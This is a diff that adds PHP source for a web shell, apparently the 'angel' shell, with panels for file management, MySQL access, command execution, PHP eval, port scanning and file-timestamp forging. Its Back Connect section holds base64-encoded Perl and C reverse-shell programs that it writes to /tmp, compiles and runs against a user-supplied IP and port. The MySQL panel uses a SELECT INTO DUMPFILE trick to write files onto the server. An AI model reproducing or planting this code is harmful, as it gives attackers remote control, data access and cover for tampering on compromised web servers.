+	$uid = @posix_getpwuid(@posix_geteuid());
+	$gid = @posix_getgrgid(@posix_getegid());
+	$user = $uid['name'];
+	$uid = $uid['uid'];
+	$group = $gid['name'];
+	$gid = $gid['gid'];
+}
+
+?>
+
+	
+		
+	
+	
+		
+	
+
         / User: ()
        
+			PHP  / Safe Mode:
+			Logout | 
+			File Manager | 
+			MYSQL Manager | 
+			MySQL Upload & Download | 
+			Execute Command | 
+			PHP Variable | 
+			Port Scan | 
+			Security information | 
+			Eval PHP Code
+			 | Back Connect
+		
        
+');
+
+	p('');
+
+	//查看所有可写文件和目录
+	$dirdata=array();
+	$filedata=array();
+
+	if ($view_writable == 'dir') {
+		$dirdata = GetWDirList($nowpath);
+		$filedata = array();
+	} elseif ($view_writable == 'file') {
+		$dirdata = array();
+		$filedata = GetWFileList($nowpath);
+	} elseif ($findstr) {
+		$dirdata = array();
+		$filedata = GetSFileList($nowpath, $findstr, $re);
+	} else {
+		// 目录列表
+		//scandir()效率更高
+		$dirs=@opendir($dir);
+		while ($file=@readdir($dirs)) {
+			$filepath=$nowpath.$file;
+			if(@is_dir($filepath)){
+				$dirdb['filename']=$file;
+				$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
+				$dirdb['dirchmod']=getChmod($filepath);
+				$dirdb['dirperm']=getPerms($filepath);
+				$dirdb['fileowner']=getUser($filepath);
+				$dirdb['dirlink']=$nowpath;
+				$dirdb['server_link']=$filepath;
+				$dirdata[]=$dirdb;
+			} else {		
+				$filedb['filename']=$file;
+				$filedb['size']=sizecount(@filesize($filepath));
+				$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
+				$filedb['filechmod']=getChmod($filepath);
+				$filedb['fileperm']=getPerms($filepath);
+				$filedb['fileowner']=getUser($filepath);
+				$filedb['dirlink']=$nowpath;
+				$filedb['server_link']=$filepath;
+				$filedata[]=$filedb;
+			}
+		}// while
+		unset($dirdb);
+		unset($filedb);
+		@closedir($dirs);
+	}
+	@sort($dirdata);
+	@sort($filedata);
+	$dir_i = '0';
+
+	p('');
+	makehide('action','file');
+	makehide('thefile');
+	makehide('doing');
+	makehide('dir',$nowpath);
+
+	foreach($dirdata as $key => $dirdb){
+		if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
+			if($getdir && $getdir == $dirdb['server_link']) {
+				$attachsize = dirsize($dirdb['server_link']);
+				$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
+			} else {
+				$attachsize = 'Stat';
+			}
+			$thisbg = bg();
+			p('');
+			p('');
+			p('');
+			p('');
+			p('');
+			p('');
+			p('');
+			p('');
+			$dir_i++;
+		} else {
+			if($dirdb['filename']=='..') {
+				p('');
+				p('');
+				p('');
+			}
+		}
+	}
+
+	p('');
+	$file_i = '0';
+
+	foreach($filedata as $key => $filedb){
+		if($filedb['filename']!='..' && $filedb['filename']!='.') {
+			$fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
+			$thisbg = bg();
+			p('');
+			p('');
+			p('');
+			p('');
+			p('');
+			p('');
+			p('');
+			$file_i++;
+		}
+	}
+	p('');
+	p('');
+	p('
        
+'createdir'));
+	makehide('newdirname');
+	makehide('dir',$nowpath);
+	formfoot();
+	formhead(array('name'=>'fileperm'));
+	makehide('newperm');
+	makehide('pfile');
+	makehide('dir',$nowpath);
+	formfoot();
+	formhead(array('name'=>'copyfile'));
+	makehide('sname');
+	makehide('tofile');
+	makehide('dir',$nowpath);
+	formfoot();
+	formhead(array('name'=>'rename'));
+	makehide('oldname');
+	makehide('newfilename');
+	makehide('dir',$nowpath);
+	formfoot();
+	formhead(array('name'=>'fileopform', 'target'=>'_blank'));
+	makehide('action');
+	makehide('opfile');
+	makehide('dir');
+	formfoot();
+	formhead(array('name'=>'getsize'));
+	makehide('getdir');
+	makehide('dir');
+	formfoot();
+
+	$free = @disk_free_space($nowpath);
+	!$free && $free = 0;
+	$all = @disk_total_space($nowpath);
+	!$all && $all = 0;
+	$used = $all-$free;
+	p('
        File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)
        ');
+
+	$cwd_links = '';
+	$path = explode('/', $nowpath);
+	$n=count($path);
+	for($i=0;$i<$n-1;$i++) {
+		$cwd_links .= ''.$path[$i].'/';
+	}
+
+?>
+
+
        
+	
+		
+			
+			
+		
+	
         ()
        
+	
+	
+		
+			
+			
+			
+		
+	
+	
+Drives) {
+			echo '
        ';
+			$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
+			$comma = '';
+			foreach($obj->Drives as $drive) {
+				if ($drive->Path) {
+					p($comma.''.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')');
+					$comma = '|';
+				}
+			}
+			echo '
        ';
+		}
+	}
+?>
+
        
+        		');
+	p('
         
        ');
+	p('WebRoot');
+	p(' | ScriptPath');
+	p(' | View All');
+	p(' | View Writable ( Directory');
+	p(' | File )');
+	p(' | Create Directory | Create File');
+
+	p('
        Find string in files(current folder):   Type:   Regular expressions
         FilenameLast modifiedSizeChmod / PermsAction
        '.$dirdb['filename'].''.$dirdb['mtime'].''.$attachsize.'');
+			p(''.$dirdb['dirchmod'].' / ');
+			p(''.$dirdb['dirperm'].''.$dirdb['fileowner'].'Rename
        -Parent Directory
        '.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? ''.$filedb['filename'].'' : $filedb['filename']).''.$filedb['mtime'].''.$filedb['size'].'');
+			p(''.$filedb['filechmod'].' / ');
+			p(''.$filedb['fileperm'].''.$filedb['fileowner'].'');
+			p('Down | ');
+			p('Copy | ');
+			p('Edit | ');
+			p('Rename');
+			p('
         FilenameLast modifiedSizeChmod / PermsAction
        Delete selected'.$dir_i.' directories / '.$file_i.' files
        ');
+}// end dir
+
+elseif ($action == 'sqlfile') {
+	if($doing=="mysqlupload"){
+		$file = $_FILES['uploadfile'];
+		$filename = $file['tmp_name'];
+		if (file_exists($savepath)) {
+			m('The goal file has already existed');
+		} else {
+			if(!$filename) {
+				m('Please choose a file');
+			} else {
+				$fp=@fopen($filename,'r');
+				$contents=@fread($fp, filesize($filename));
+				@fclose($fp);
+				$contents = bin2hex($contents);
+				if(!$upname) $upname = $file['name'];
+				$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
+				m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
+			}
+		}
+	}
+?>
+
+'MYSQL Information','name'=>'dbinfo'));
+	makehide('action','sqlfile');
+	p('
        ');
+	p('DBHost:');
+	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
+	p(':');
+	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
+	p('DBUser:');
+	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
+	p('DBPass:');
+	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
+	p('DBName:');
+	makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
+	p('DBCharset:');
+	makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
+	p('
        ');
+	formfoot();
+	p('
        ');
+	p('
        Upload file
        ');
+	p('
        This operation the DB user must has FILE privilege
        ');
+	p('
        Save path(fullpath):  Choose a file:  Upload
        ');
+	p('
        Download file
        ');
+	p('
        File:  Download
        ');
+	makehide('dbhost');
+	makehide('dbport');
+	makehide('dbuser');
+	makehide('dbpass');
+	makehide('dbname');
+	makehide('charset');
+	makehide('doing');
+	makehide('action','sqlfile');
+	p('
        ');
+}
+
+elseif ($action == 'mysqladmin') {
+	!$dbhost && $dbhost = 'localhost';
+	!$dbuser && $dbuser = 'root';
+	!$dbport && $dbport = '3306';
+	$dbform = '';
+	if(isset($dbhost)){
+		$dbform .= "\n";
+	}
+	if(isset($dbuser)) {
+		$dbform .= "\n";
+	}
+	if(isset($dbpass)) {
+		$dbform .= "\n";
+	}
+	if(isset($dbport)) {
+		$dbform .= "\n";
+	}
+	if(isset($dbname)) {
+		$dbform .= "\n";
+	}
+	if(isset($charset)) {
+		$dbform .= "\n";
+	}
+
+	if ($doing == 'backupmysql' && $saveasfile) {
+		if (!$table) {
+			m('Please choose the table');
+		} else {
+			$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+			$fp = @fopen($path,'w');
+			if ($fp) {
+				foreach($table as $k => $v) {
+					if ($v) {
+						sqldumptable($v, $fp);
+					}
+				}
+				fclose($fp);				
+				$fileurl = str_replace(SA_ROOT,'',$path);
+				m('Database has success backup to '.$path.'');
+				mysql_close();
+			} else {
+				m('Backup failed');
+			}
+		}
+	}
+	if ($insert && $insertsql) {
+		$keystr = $valstr = $tmp = '';
+		foreach($insertsql as $key => $val) {
+			if ($val) {
+				$keystr .= $tmp.$key;
+				$valstr .= $tmp."'".addslashes($val)."'";
+				$tmp = ',';
+			}
+		}
+		if ($keystr && $valstr) {
+			$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
+		}
+	}
+	if ($update && $insertsql && $base64) {
+		$valstr = $tmp = '';
+		foreach($insertsql as $key => $val) {
+			$valstr .= $tmp.$key."='".addslashes($val)."'";
+			$tmp = ',';
+		}
+		if ($valstr) {
+			$where = base64_decode($base64);
+			$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
+		}
+	}
+	if ($doing == 'del' && $base64) {
+		$where = base64_decode($base64);
+		$delete_sql = "DELETE FROM $tablename WHERE $where";
+		$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+		m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
+	}
+
+	if ($tablename && $doing == 'drop') {
+		$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
+		if (q("DROP TABLE $tablename")) {
+			m('Drop table of success');
+			$tablename = '';
+		} else {
+			m(mysql_error());
+		}
+	}
+
+	formhead(array('title'=>'MYSQL Manager'));
+	makehide('action','mysqladmin');
+	p('
        ');
+	p('DBHost:');
+	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
+	p(':');
+	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
+	p('DBUser:');
+	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
+	p('DBPass:');
+	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
+	p('DBCharset:');
+	makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
+	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
+	p('
        ');
+	formfoot();
+
+	//操作记录
+	formhead(array('name'=>'recordlist'));
+	makehide('doing');
+	makehide('action','mysqladmin');
+	makehide('base64');
+	makehide('tablename');
+	p($dbform);
+	formfoot();
+
+	//选定数据库
+	formhead(array('name'=>'setdbname'));
+	makehide('action','mysqladmin');
+	p($dbform);
+	if (!$dbname) {
+		makehide('dbname');
+	}
+	formfoot();
+
+	//选定表
+	formhead(array('name'=>'settable'));
+	makehide('action','mysqladmin');
+	p($dbform);
+	makehide('tablename');
+	makehide('page',$page);
+	makehide('doing');
+	formfoot();
+
+	$cachetables = array();	
+	$pagenum = 30;
+	$page = intval($page);
+	if($page) {
+		$start_limit = ($page - 1) * $pagenum;
+	} else {
+		$start_limit = 0;
+		$page = 1;
+	}
+	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
+		$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
+		//获取数据库信息
+		$mysqlver = mysql_get_server_info();
+		p('
        MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'
        ');
+		$highver = $mysqlver > '4.1' ? 1 : 0;
+
+		//获取数据库
+		$query = q("SHOW DATABASES");
+		$dbs = array();
+		$dbs[] = '-- Select a database --';
+		while($db = mysql_fetch_array($query)) {
+			$dbs[$db['Database']] = $db['Database'];
+		}
+		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
+		$tabledb = array();
+		if ($dbname) {
+			p('
        ');
+			p('Current dababase: '.$dbname.'');
+			if ($tablename) {
+				p(' | Current Table: '.$tablename.' [ Insert | Structure | Drop ]');
+			}
+			p('
        ');
+			mysql_select_db($dbname);
+
+			$getnumsql = '';
+			$runquery = 0;
+			if ($sql_query) {
+				$runquery = 1;
+			}
+			$allowedit = 0;
+			if ($tablename && !$sql_query) {
+				$sql_query = "SELECT * FROM $tablename";
+				$getnumsql = $sql_query;
+				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
+				$allowedit = 1;
+			}
+			p('
        ');
+			p('
        Run SQL query/queries on database '.$dbname.':
        ');
+			makehide('tablename', $tablename);
+			makehide('action','mysqladmin');
+			p($dbform);
+			p('
        ');
+			if ($tablename || ($runquery && $sql_query)) {
+				if ($doing == 'structure') {
+					$result = q("SHOW FULL COLUMNS FROM $tablename");
+					$rowdb = array();
+					while($row = mysql_fetch_array($result)) {
+						$rowdb[] = $row;
+					}
+					p('
        Structure
        ');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					foreach ($rowdb as $row) {
+						$thisbg = bg();
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+					}
+					tbfoot();
+					$result = q("SHOW INDEX FROM $tablename");
+					$rowdb = array();
+					while($row = mysql_fetch_array($result)) {
+						$rowdb[] = $row;
+					}
+					p('
        Indexes
        ');
+					p('
        FieldTypeCollationNullKeyDefaultExtraPrivilegesComment
        '.$row['Field'].''.$row['Type'].''.$row['Collation'].' '.$row['Null'].' '.$row['Key'].' '.$row['Default'].' '.$row['Extra'].' '.$row['Privileges'].' '.$row['Comment'].' 
        ');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					foreach ($rowdb as $row) {
+						$thisbg = bg();
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+						p('');
+					}
+					tbfoot();
+				} elseif ($doing == 'insert' || $doing == 'edit') {
+					$result = q('SHOW COLUMNS FROM '.$tablename);
+					while ($row = mysql_fetch_array($result)) {
+						$rowdb[] = $row;
+					}
+					$rs = array();
+					if ($doing == 'insert') {
+						p('
        Insert new line in '.$tablename.' table »
        ');
+					} else {
+						p('
        Update record in '.$tablename.' table »
        ');
+						$where = base64_decode($base64);
+						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
+						$rs = mysql_fetch_array($result);
+					}
+					p('');
+					p($dbform);
+					makehide('action','mysqladmin');
+					makehide('tablename',$tablename);
+					p('
        KeynameTypeUniquePackedSeq_in_indexFieldCardinalityCollationNullComment
        '.$row['Key_name'].''.$row['Index_type'].''.($row['Non_unique'] ? 'No' : 'Yes').' '.($row['Packed'] === null ? 'No' : $row['Packed']).' '.$row['Seq_in_index'].''.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' '.($row['Cardinality'] ? $row['Cardinality'] : 0).' '.$row['Collation'].' '.$row['Null'].' '.$row['Comment'].' 
        ');
+					foreach ($rowdb as $row) {
+						if ($rs[$row['Field']]) {
+							$value = htmlspecialchars($rs[$row['Field']]);
+						} else {
+							$value = '';
+						}
+						$thisbg = bg();
+						p('');
+						if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
+							p('');
+						} else {							
+							p('');
+						}
+					}
+					if ($doing == 'insert') {
+						p('');
+					} else {
+						p('');
+						makehide('base64', $base64);
+					}
+					p('
        '.$row['Field'].'
        '.$row['Type'].'        		'.$value.' 
        '.$row['Field'].'
        '.$row['Type'].'
        ');
+				} else {
+					$querys = @explode(';',$sql_query);
+					foreach($querys as $num=>$query) {
+						if ($query) {
+							p("
        Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."
        ");
+							switch(qy($query))
+							{
+								case 0:
+									p('
        Error : '.mysql_error().'
        ');
+									break;	
+								case 1:
+									if (strtolower(substr($query,0,13)) == 'select * from') {
+										$allowedit = 1;
+									}
+									if ($getnumsql) {
+										$tatol = mysql_num_rows(q($getnumsql));
+										$multipage = multi($tatol, $pagenum, $page, $tablename);
+									}
+									if (!$tablename) {
+										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
+										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
+										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
+										$tablename = $matches[1][0];
+									}
+
+									/*********************/
+									$getfield = q("SHOW COLUMNS FROM $tablename");
+									$rowdb = array();
+									$keyfied = ''; //主键字段
+									while($row = @mysql_fetch_assoc($getfield)) {
+										$rowdb[$row['Field']]['Key'] = $row['Key'];
+										$rowdb[$row['Field']]['Extra'] = $row['Extra'];
+										if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
+											$keyfied = $row['Field'];
+										}
+									}
+									/*********************/								
+									//直接浏览表按照主键降序排列
+									if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
+										$query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
+									}
+
+									$result = q($query);
+
+									p($multipage);
+									p('');
+									p('');
+									if ($allowedit) p('');
+									$fieldnum = @mysql_num_fields($result);
+									for($i=0;$i<$fieldnum;$i++){
+										$name = @mysql_field_name($result, $i);
+										$type = @mysql_field_type($result, $i);
+										$len = @mysql_field_len($result, $i);
+										p("");
+									}
+									p('');
+									
+									while($mn = @mysql_fetch_assoc($result)){
+										$thisbg = bg();
+										p('');
+										$where = $tmp = $b1 = '';
+										//选取条件字段用
+										foreach($mn as $key=>$inside){
+											if ($inside) {
+												//查找主键、唯一属性、自动增加的字段，找到就停止，否则组合所有字段作为条件。
+												if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
+													$where = $key."='".addslashes($inside)."'";
+													break;
+												}
+												$where .= $tmp.$key."='".addslashes($inside)."'";
+												$tmp = ' AND ';
+											}
+										}
+										//读取记录用
+										foreach($mn as $key=>$inside){
+											$b1 .= '';
+										}
+										$where = base64_encode($where);
+
+										if ($allowedit) p('');
+
+										p($b1);
+										p('');
+										unset($b1);
+									}
+									p('');
+									if ($allowedit) p('');
+									$fieldnum = @mysql_num_fields($result);
+									for($i=0;$i<$fieldnum;$i++){
+										$name = @mysql_field_name($result, $i);
+										$type = @mysql_field_type($result, $i);
+										$len = @mysql_field_len($result, $i);
+										p("");
+									}
+									p('');
+									tbfoot();
+									p($multipage);
+									break;
+								case 2:
+									$ar = mysql_affected_rows();
+									p('
        affected rows : '.$ar.'
        ');
+									break;
+							}
+						}
+					}
+				}
+			} else {
+				$query = q("SHOW TABLE STATUS");
+				$table_num = $table_rows = $data_size = 0;
+				$tabledb = array();
+				while($table = mysql_fetch_array($query)) {
+					$data_size = $data_size + $table['Data_length'];
+					$table_rows = $table_rows + $table['Rows'];
+					$table['Data_length'] = sizecount($table['Data_length']);
+					$table_num++;
+					$tabledb[] = $table;
+				}
+				$data_size = sizecount($data_size);
+				unset($table);
+				p('
        Action$name
        $type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto' : '')."
        '.html_clean($inside).' Edit | Del
        Action$name
        $type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? ' - PRIMARY' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? ' - Auto' : '')."
        ');
+				p('');
+				makehide('action','mysqladmin');
+				p($dbform);
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				if ($highver) {
+					p('');
+					p('');
+				}
+				p('');
+				p('');
+				foreach ($tabledb as $key => $table) {
+					$thisbg = bg();
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					p('');
+					if ($highver) {
+						p('');
+						p('');
+					}
+					p('');
+					p('');
+				}
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				if ($highver) {
+					p('');
+					p('');
+				}
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+				p('');
+
+				p("");
+				makehide('doing','backupmysql');
+				formfoot();
+				p("
         NameRowsData_lengthCreate_timeUpdate_timeEngineCollationOperate
        '.$table['Name'].''.$table['Rows'].''.$table['Data_length'].''.$table['Create_time'].' '.$table['Update_time'].' '.$table['Engine'].''.$table['Collation'].'Insert | Structure | Drop
        NameRowsData_lengthCreate_timeUpdate_timeEngineCollationOperate
         Total tables: '.$table_num.''.$table_rows.''.$data_size.' 
         Save as file  
        ");
+				fr($query);
+			}
+		}
+	}
+	tbfoot();
+	@mysql_close();
+}//end mysql
+
+elseif ($action == 'backconnect') {
+	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
+	!$yourport && $yourport = '12345';
+	$usedb = array('perl'=>'perl','c'=>'c');
+
+	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
+		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
+		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
+		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
+		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
+		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
+		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
+		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
+		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
+		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
+		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
+		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
+		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
+		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+
+	if ($start && $yourip && $yourport && $use){
+		if ($use == 'perl') {
+			cf('/tmp/angel_bc',$back_connect);
+			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
+		} else {
+			cf('/tmp/angel_bc.c',$back_connect_c);
+			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
+			@unlink('/tmp/angel_bc.c');
+			$res = execute("/tmp/angel_bc $yourip $yourport &");
+		}
+		m("Now script try connect to $yourip port $yourport ...");
+	}
+
+	formhead(array('title'=>'Back Connect'));
+	makehide('action','backconnect');
+	p('
        ');
+	p('Your IP:');
+	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
+	p('Your Port:');
+	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
+	p('Use:');
+	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
+	makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
+	p('
        ');
+	formfoot();
+}//end
+
+elseif ($action == 'portscan') {
+	!$scanip && $scanip = '127.0.0.1';
+	!$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958';
+	formhead(array('title'=>'Port Scan'));
+	makehide('action','portscan');
+	p('
        ');
+	p('IP:');
+	makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip));
+	p('Port:');
+	makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport));
+	makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt'));
+	p('
        ');
+	formfoot();
+
+	if ($startscan) {
+		p('
        Result »
        ');
+		p('
          ');
+		foreach(explode(',', $scanport) as $port) {
+			$fp = @fsockopen($scanip, $port, &$errno, &$errstr, 1); 
+			if (!$fp) {
+				p('
        • '.$scanip.':'.$port.' ------------------------ Close
          • ');
+		   } else {
+				p('
        • '.$scanip.':'.$port.' ------------------------ Open
          • ');
+				@fclose($fp);
+		   } 
+		}
+		p('
        ');
+	}
+}
+
+elseif ($action == 'eval') {
+	$phpcode = trim($phpcode);
+	if($phpcode){
+		if (!preg_match('#<\?#si', $phpcode)) {
+			$phpcode = "";
+		}
+		eval("?".">$phpcode'Eval PHP Code'));
+	makehide('action','eval');
+	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
+	p('
        Get plugins
        ');
+	formfooter();
+}//end eval
+
+elseif ($action == 'editfile') {
+	if(file_exists($opfile)) {
+		$fp=@fopen($opfile,'r');
+		$contents=@fread($fp, filesize($opfile));
+		@fclose($fp);
+		$contents=htmlspecialchars($contents);
+	}
+	formhead(array('title'=>'Create / Edit File'));
+	makehide('action','file');
+	makehide('dir',$nowpath);
+	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
+	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
+	formfooter();
+	
+	goback();
+
+}//end editfile
+
+elseif ($action == 'newtime') {
+	$opfilemtime = @filemtime($opfile);
+	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
+	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
+	formhead(array('title'=>'Clone folder/file was last modified time'));
+	makehide('action','file');
+	makehide('dir',$nowpath);
+	makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
+	makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
+	formfooter();
+	formhead(array('title'=>'Set last modified'));
+	makehide('action','file');
+	makehide('dir',$nowpath);
+	makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
+	p('
        year:');
+	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
+	p('month:');
+	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
+	p('day:');
+	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
+	p('hour:');
+	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
+	p('minute:');
+	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
+	p('second:');
+	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
+	p('
        ');
+	formfooter();
+	goback();
+}//end newtime
+
+elseif ($action == 'shell') {
+	if (IS_WIN && IS_COM) {
+		if($program && $parameter) {
+			$shell= new COM('Shell.Application');
+			$a = $shell->ShellExecute($program,$parameter);
